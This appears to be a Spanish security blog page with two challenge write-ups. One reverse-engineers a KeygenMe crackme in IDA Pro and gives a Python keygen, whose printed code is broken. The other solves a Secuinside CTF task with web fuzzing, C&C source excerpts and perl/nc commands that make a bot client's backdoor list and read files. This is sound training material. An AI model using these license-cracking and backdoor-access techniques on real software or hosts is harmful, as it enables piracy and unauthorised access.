martes, 2 de julio de 2013

KeygenMe - Creando tu propio Keygen

Hace ya algún tiempo que Alberto García Illera me hizo llegar éste artículo que había escrito, dónde explica muy bien cómo resolver un reto keygenme. Por motivos básicamente de tiempo no lo he podido publicar antes, pero lo bueno se hace esperar, os dejo con su artículo:

Muy buenas a todos. Hoy os traigo la resolución a un KeygenMe. Tal y como su nombre indica lo que hay que hacer es programar un keygen para poder registrarnos en dicho programa.

KeygenMe: [Descargar_binario]
MD5 (binario): 3b7964793f026f4c7fe3d14d07ea6146
SHA1 (binario): ea30eb9964ee0d3120183102381d2baeb490cae5

Lo primero de todo será ejecutar el binario para ver qué datos nos solicita para su activación:

image

Como podemos ver el binario solicita dos parámetros para la activación. En caso de introducir dichos parámetros al azar nos aparecerá una pantalla de error.

*Para realizar el desensamblado y posterior debuggueado del binario utilizaré exclusivamente IDA Pro. Se recomienda la lectura de la entrada con el binario cargado en IDA Pro para facilitar en gran medida el análisis.

Lo primero que haremos será importar el binario a IDA y buscar algunos “strings” interesantes que nos puedan facilitar información de la función que realiza las comprobaciones pertinentes para saber si nuestro serial es correcto o no.

image

Afortunadamente los strings que nos indican si hemos pasado o no el reto son reconocidos fácilmente.

Vemos que la cadena “Goodjob” se encuentra en la sección data y la dirección 0x403221. Si accedemos a dicha dirección vemos que existe una referencia en la dirección 0x4011DA (0x40112E+0xAC). Seguimos el rastro a nuestra cadena hasta la anterior dirección y comprobamos que se encuentra en la función que IDA ha nombrado como sub_40112E.

image

Una vez que hemos delimitado qué función es la que contiene los strings (uno de ellos, “Goodjob!”) a los que debemos llegar procedemos a estudiar la estructura del binario.

image

Se puede observar que se realizan múltiples comprobaciones las cuales en caso de introducir algún parámetro de forma incorrecta salta directamente al código de error “Wrong serial”.

Para ir poco a poco saltando a cada una de las restricciones pondremos un breakpoint en la primera subrutina e introduciremos las cadenas “aaaa” y “bbbb” para debuggear la aplicación.

image

Como podemos observar en la imagen anterior, se llama a la instrucción “CALL” hacia a una subrutina de la dirección 0x40109D. Tras finalizar la función, compara EAX con el valor 5 y en caso de que EAX sea menor que 5 hará un salto a la cadena “Wrong serial”. Por tanto, a primera vista podemos ver que es necesario saber qué hace la función sub_40109D ya que el valor EAX devuelto será el comparado con el valor 5.

image

Lo primero interesante que podemos encontrar es la dirección 0x4010A6, donde se mueve la dirección de “ESP+8+arg_0” al registro EDI. Es posible comprobar que dicha dirección de memoria corresponde con la primera cadena introducida manualmente.

image

En resumen, a continuación comento las funciones más interesantes del código:

1) Incrementar el registro EAX
2) Mueve al registro ESI el primer byte introducido (en nuestro caso 0x61=a)
3) Comprueba que ESI sea 0
4) En caso de que ESI sea distinto de 0 se volverá a ejecutar el anterior bucle. Si el registro ESI es 0 se activará el flag ZF y se ejecutará la siguiente instrucción (0x4010B3)

Por tanto sabiendo esto podemos observar que cada vez que el registro ESI es distinto de 0 se aumenta en uno EAX. Dicho aumento está relacionado con la longitud de la primera cadena que hemos introducido en la aplicación. Una vez devuelto el registro EAX este se compara con 5. Por lo que, la primera condición que debe tener nuestro serial es que la longitud de la primera cadena debe ser mayor o igual a 5.

En la siguiente captura es posible visualizar la siguiente comprobación:

image

Resumiendo las instrucciones más importantes:

  • 0x401141: Movemos el valor 2 al registro ECX
  • 0x401147: Dividimos EAX (recordad que era la longitud de la primera cadena) entre el registro ECX (2). El resto de dicha división se almacenará en EDX.
  • 0x401149: Comprobamos si EDX vale 0
  • 0x40114B: En caso de que valga 0 se activará el flag ZF y continuaremos con la siguiente instrucción. Si EDX!=0 saltaremos a “Wrong serial”.

Por tanto podemos observar que debemos introducir una cadena de longitud par.

Hasta ahora tenemos dos condiciones:

- La longitud del primer parámetro debe ser mayor o igual que 5
- La longitud del primer parámetro debe ser par

En esta ocasión llegamos a un trozo de código que contiene dos llamadas a subrutinas distintas. Para hacer el proceso más sencillo, nos centraremos en la segunda instrucción CALL ya que será el valor devuelto por esta función el que se utilizará en la instrucción JNZ para pasar o no a la siguiente instrucción sin saltar al “Wrong serial”.

image

Como se observa antes de la segunda instrucción CALL se realiza un PUSH, el cual almacenará el parámetro que se pasará a la función y con el que está trabajará en la PILA. Finalmente el valor devuelto por la subrutina sub_40109D será comparado con 17 (0x11 en hex).

Dentro de la subrutina es posible ver lo siguiente:

image

Se trata del mismo código que vimos anteriormente en el que se almacena en EAX la longitud de la cadena pasada, que en este caso a diferencia del anterior es la segunda cadena. Por lo tanto, si la longitud de la segunda cadena introducida no es 17 la aplicación mostrará “Wrong serial”.

Por tanto, procederemos a ingresar 6 “a” en la primera cadena y 17 “b” en la segunda.

El siguiente trozo de código se puede observar en la siguiente captura:

image

Antes de nada debemos centrarnos en la última comprobación de ese bloque. En este caso es:

0040119F call sub_4010F3
004011A4 test ecx, ecx
004011A6 jnz short loc_4011EA

Como se puede observar se realiza la instrucción “TEST ECX, ECX”, donde se comprueba que ECX sea 0. Por tanto el fin de todo este bloque será conseguir que tras las tres instrucciones CALL el valor de ECX sea 0.

En la captura he querido resaltar que la primera instrucción MOV está moviendo al registro EAX la dirección de memoria donde empieza nuestra cadena de “b”s. Y si nos fijamos en la segunda instrucción se coloca un “0” en la posición EAX+8. Por lo tanto la cadena se convertirá en “bbbbbbbb0bbbbbbbb”. Después mueve al registro EDI la dirección donde se encuentra las “b” con el 0 entre medias y almacena EDI en la pila antes de llamar a la subrutina sub_4010B8.

Sin embargo en vez de centrarnos en las instrucciones CALL de este bloque de código, seguiremos debugueando y veremos si cumplimos la condición “004011A6: jnz short loc_4011EA”.

De momento dejaremos entonces aparcadas esas funciones ya que al parecer hemos saltado la el JNZ satisfactoriamente.

La siguiente condición del siguiente bloque (0x4011A8) también la cumplimos por lo que de momento no nos preocuparemos de ella.

El problema recae en el siguiente bloque, más concretamente en la dirección 0x4011BE:

image

En ésta instrucción se realiza un XOR entre el valor de EAX y el valor de 4 bytes de la dirección 0x403200. En nuestro caso EAX vale 0, por lo que sea el valor que sea el de la dirección 0x403200 el resultado siempre será 0, por lo que la instrucción JNZ siguiente nos enviará a “Wrong serial”. Una vez aquí debemos ver tanto el valor de EAX como el de la dirección 0x403200. Empezaremos por este último:

Si visualizamos las referencias de dicho valor:

image

Como vemos en la anterior imagen, el valor es referenciado en la dirección 40112E+5A (0x401188):

image

Se trata de una instrucción que se encuentra dos instrucciones por debajo de las funciones que anteriormente pasamos por alto. Es más, si nos fijamos podemos ver que está directamente relacionada con el valor devuelto por el primer CALL.

El valor de EAX se almacena en la dirección 0x403200, la dirección de nuestro XOR. Por tanto entraremos en la función sub_4010B0 para ver qué es lo que ocurre y como hacer que el valor devuelto sea distinto de 0.

image

De todo esto podemos concluir que, sólo si introducimos valores en los ocho primeros caracteres de la segunda cadena, comprendidos entre “:” y “L”, EAX tendrá un valor distinto a 0.

Por tanto para que la dirección de memoria 0x403200 tome valores deberemos introducir valores entre “:” y “L” para los primeros ocho caracteres, por ejemplo: “BBBBBBBB0bbbbbbbb”. De este modo se guardará la cadena “BBBBBBBB” en la dirección 0x403200.

Ya tenemos otra condición cumplida, continuamos debuggeando:

image

Aquí podemos ver que se va a llamar a la misma función pero pasando como parámetro la dirección de memoria anterior + 9. Es decir la primera “b” tras el 0. En esta ocasión simplemente valdrá aplicando la misma solución que anteriormente “BBBBBBBB0BBBBBBBB”. *Recordad que el cero del medio lo pone la aplicación, nosotros solo debemos introducir 17 “B”

Lo que devuelva EAX (que será distinto de 0) se almacenará en la dirección 0x403210, también se guardará la cadena “BBBBBBBB” en la dirección 0x403210.

Ahora solo deberemos ir hasta el lugar donde se realiza el XOR de EAX con la cadena “BBBBBBBB” que hemos introducido y veremos qué valor contiene el registro EAX.

image

Con esto, ya tenemos el valor que tienen que tener los primero ocho caracteres de la segunda cadena: “DDCCBE050BBBBBBB”.

Si realizamos la misma tarea para el segundo bloque de “B”, obtendremos la cadena final que es necesaria:

image

Obteniendo el resultado final a introducir de la segunda cadena “DDCCBE050BB997C0A”. El valor nueve de la cadena que la aplicación pone a cero puede ser cualquiera que nosotros queramos.

Y tras introducirlo:

image

Conseguimos que la aplicación nos devuelva el mensaje satisfactorio.

Sin embargo no hemos visto como se genera el registro EAX. Simplemente hemos copiado el valor que nos ha dado en ambos trozos de la segunda. Por lo tanto, nuestra solución solo será válida para el par de cadenas que habíamos establecido desde el principio.

Veamos cómo conseguir un caso genérico para cualquier par de cadenas:

image

Vemos que se almacenan en EAX 4 bytes desde la dirección de memoria 0x403208 al cual se le suma los 4 bytes de la dirección 0x403218 posteriormente, dichos bytes son estáticos y corresponden con los bytes “DDCCBBAA”. Por tanto debemos saber cuáles son los primeros 4 bytes de 0x403208. Si observamos las referencias de dicha dirección encontramos:

image

Si nos dirigimos a la dirección indicada, nos encontramos con el mismo código que vimos al principio del reto, el cual dejamos estar ya que la función no nos mandaba a “Wrong serial”.

image

Como se puede ver el valor devuelto por la subrutina sub_403208 será el valor que se almacenará en la dirección 0x403208 que es la que nos interesa controlar. Debemos destacar que se le están pasando dos parámetros a la función (la dirección donde se encuentra almacenada la primera cadena que introduce el usuario y la longitud de la misma):

image

Nos encontramos con un código sencillo que se encarga de sumar el valor en hexadecimal de cada uno de los caracteres con el valor de la longitud de la cadena, disminuyendo esta última de uno en uno (por ejemplo para una cadena de longitud 6: 6+5+4+3+2+1).

Por lo tanto ya tenemos que el valor a comparar es lo obtenido en esta función sumado a “DDCCBBAA”. Por último y para terminar, debemos fijarnos en que la segunda mitad de la segunda cadena es comparada multiplicando el resultado anterior por 2.

image

El reto consistía en hacer un Keygen, por tanto recapitularemos las condiciones de cada cadena y desarrollaremos nuestro propio keygen:

  1. La primera cadena debe tener al menos longitud 5
  2. La primera cadena debe tener longitud par
  3. La segunda cadena debe tener longitud 17
  4. La segunda cadena depende de la primera
  5. Dicha dependencia se encuentra en la longitud y caracteres de la primera cadena. Sumando cada carácter en hexadecimal entre si y sumando el contador de la longitud

Al anterior resultado se le sumará el valor “DDCCBBAA”

Dicha suma será la respuesta de los primeros ocho caracteres, mientras que la respuesta de los últimos ocho será la anterior multiplicada por 2

A continuación el código del keygen:

#encoding: utf-8
Import random
Import string
def prim_param(size,chars=string.ascii_uppercase+string.digits + string.ascii_lowercase):
return''.join(random.choice(chars) for x in range(size))

param1 = prim_param(random.randrange(6, 20, 2))
cont = 0

base = int("0xddccbbaa",16)
for i in range(len(param1)):
cont = cont + int(param1[i].encode("hex"),16) + i
cont = cont + i + 1 #para compensar la última vuelta
parte1 = hex(cont+base)[2:-1]
parte2 = hex((cont+base)*2)[3:-1]

print "Parámetro1: " + param1
print "Parámetro2: " + (parte1 + prim_param(1) + parte2).upper()

Con esto conseguimos nuestro objetivo, un reto laborioso aunque no complicado.

Un saludo.

martes, 28 de mayo de 2013

Secuinside CTF - Save the zombie [400]

Este fin de semana se ha llevado a cabo el Capture The Flag de “Secuinside” organizado en Corea del Sur. A continuación paso a explicar la resolución de la prueba “Save the Zombie” premiada con 400 puntos, el cuál me pareció divertido e interesante.

La descripción que se nos daba era la siguiente:

--
binary : http://war.secuinside.com/files/Apache2
server : 54.214.248.168
A program is being run by one of the hackers on an abandoned website.
Rescue the zombie PCs controlled by the hacker!
--

La descripción de la prueba es sencilla, tenemos un servidor web que ha sido hackeado y que posiblemente se está utilizando de C&C de una red de botnets, y debemos conseguir el acceso al mismo o a uno de los clientes.

Si nos conectábamos a la dirección IP que nos daban mediante el protocolo HTTP, obteníamos el típico mensaje que devuelve el servidor web Apache “It works!”. Por lo que, una buena opción para empezar era realizar fuzzing web sobre el portal:

==================================================================
ID Response Lines Word Chars Request
==================================================================
00396: C=200 196 L 552 W 3962 Ch " - apache"
02547: C=200 2 L 3 W 46 Ch " - index"
04890: C=301 9 L 28 W 312 Ch " - t"

El fichero “apache” encontrado contenía el código fuente del binario que se nos daba inicialmente y que se encontraba en ejecución en el servidor web, las partes más destacables del código eran:

Se está generando el directorio “t” para almacenar los logs del servidor, el cual ya hemos encontrado mediante el fuzzing web:

// check tmp directory, create it
DIR *dir = opendir( "t" );
if( dir == NULL )
system( "mkdir t" );
else
closedir( dir );
AddLog( logpath, "t/cli.exe" );

Los usuarios que envíen peticiones a dicho servidor con la palabra “BD-Register” en la cabecera “Accept: ” serán agregados al log, por lo que serán víctimas de la botnet:

char *tmpstr = myntoa( cli_ip );
printf( "connection from %s\n", tmpstr );
free( tmpstr );
#define ACCEPTLEN 2000
char acceptline[ACCEPTLEN];
char *tmp;
tmp = strstr( buffer, "Accept: " );
if( tmp != NULL )
{
strncpy( acceptline, tmp, ACCEPTLEN );
tmp = strchr( acceptline, '\n' );
if( tmp != NULL )
*tmp = 0;
}
else
goto _end;
char *exists = strstr( acceptline, "BD-Register" );
if( exists == NULL )
goto _end;
char *ip = myntoa( cli_ip );
printf( "client registered from %s\n", ip );
AddLog( logpath, ip );
free( ip );

Si fuzzeábamos el directorio “/t” nos topamos con lo siguiente:

==================================================================
ID Response Lines Word Chars Request
==================================================================
00192: C=200 175 L 175 W 2447 Ch " - a"
02545: C=200 0 L 0 W 0 Ch " - index"

El fichero “a” contiene los logs de los zombies que se conectan al C&C:

t/cli.exe
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68

Ya tenemos la dirección IP de nuestro zombie y parece que nos dan la opción de descargarnos el cliente de la botnet, fichero “t/cli.exe”.

Si realizábamos ingeniería inversa sobre el binario se podía encontrar que éste se pone a la escucha en el puerto 8080 en hexadecimal “1F90”, que curiosamente también se encuentra abierto en cliente zombie encontrado en los logs “115.68.108.68”:

image

Si nos conectamos a dicho puerto mediante Netcat parece que no conseguimos realizar ninguna acción, posiblemente debamos enviar alguna secuencia de comandos para interactuar con él. Si continuamos con las comprobaciones que realiza el binario nos encontramos con las siguientes:

image

Estamos recibiendo a través del socket cuatro bytes que posteriormente serán comparados con las tres opciones mostradas anteriormente:

- Valor “1”: Posteriormente realiza acciones con la instrucción “GetCurrentDirectoryA”, “GetFileAttributesA”, entre otras.

- Valor “2”: Posteriormente realiza acciones con la instrucción “GetCurrentDirectoryA”, entre otras.

- Valor “3”: Posteriormente realiza acciones con la instrucción “ReadFile”, entre otras.

Ya estamos cerca, parece que primero deberemos obtener el listado de los ficheros existentes en el directorio y posteriormente leer el fichero con la key.

Es necesario aclarar que al estar leyendo cuatro bytes, hemos de enviarle al cliente zombie la siguiente dirección “0x0000000X”, ya que de lo contrario el comparador no funcionará correctamente.

Demandamos la opción 1 con el path “.”:

[dromero@default] - [~] perl -e 'print "\x01\x00\x00\x00."' | nc 192.168.1.136 8080
C:\Users\dromero\Desktop\zombieC:\Users\dromero\Desktop\zombie?<DIR> \..
45056 \cli.exe
40 \fake_key.txt

Demandamos la opción 4 con el fichero “fake_key.txt”:

[dromero@default] - [~] perl -e 'print "\x04\x00\x00\x00fake_key.txt"' | nc 192.168.1.136 8080
fake_key.txt
This is a fake key, Get the real key ;)

Tenemos nuestra key en local, por lo que realizamos el mismo proceso en el cliente zombie real encontrado en los logs:

[dromero@default] - [~] perl -e 'print "\x01\x00\x00\x00."' | nc 115.68.108.68 8080
C:\Users\user\Desktop\my zombie pcC:\Users\user\Desktop\my zombie pc=<DIR> \..
45056 \cli.exe
43 \my_k3y.txt
[dromero@default] - [~] perl -e 'print "\x04\x00\x00\x00my_k3y.txt"' | nc 115.68.108.68 8080
my_k3y.txt
the key is "Night Of The Living Dead"

De este modo conseguíamos la key válida y nos hacíamos con 400 puntos más ;)

Un Saludo!!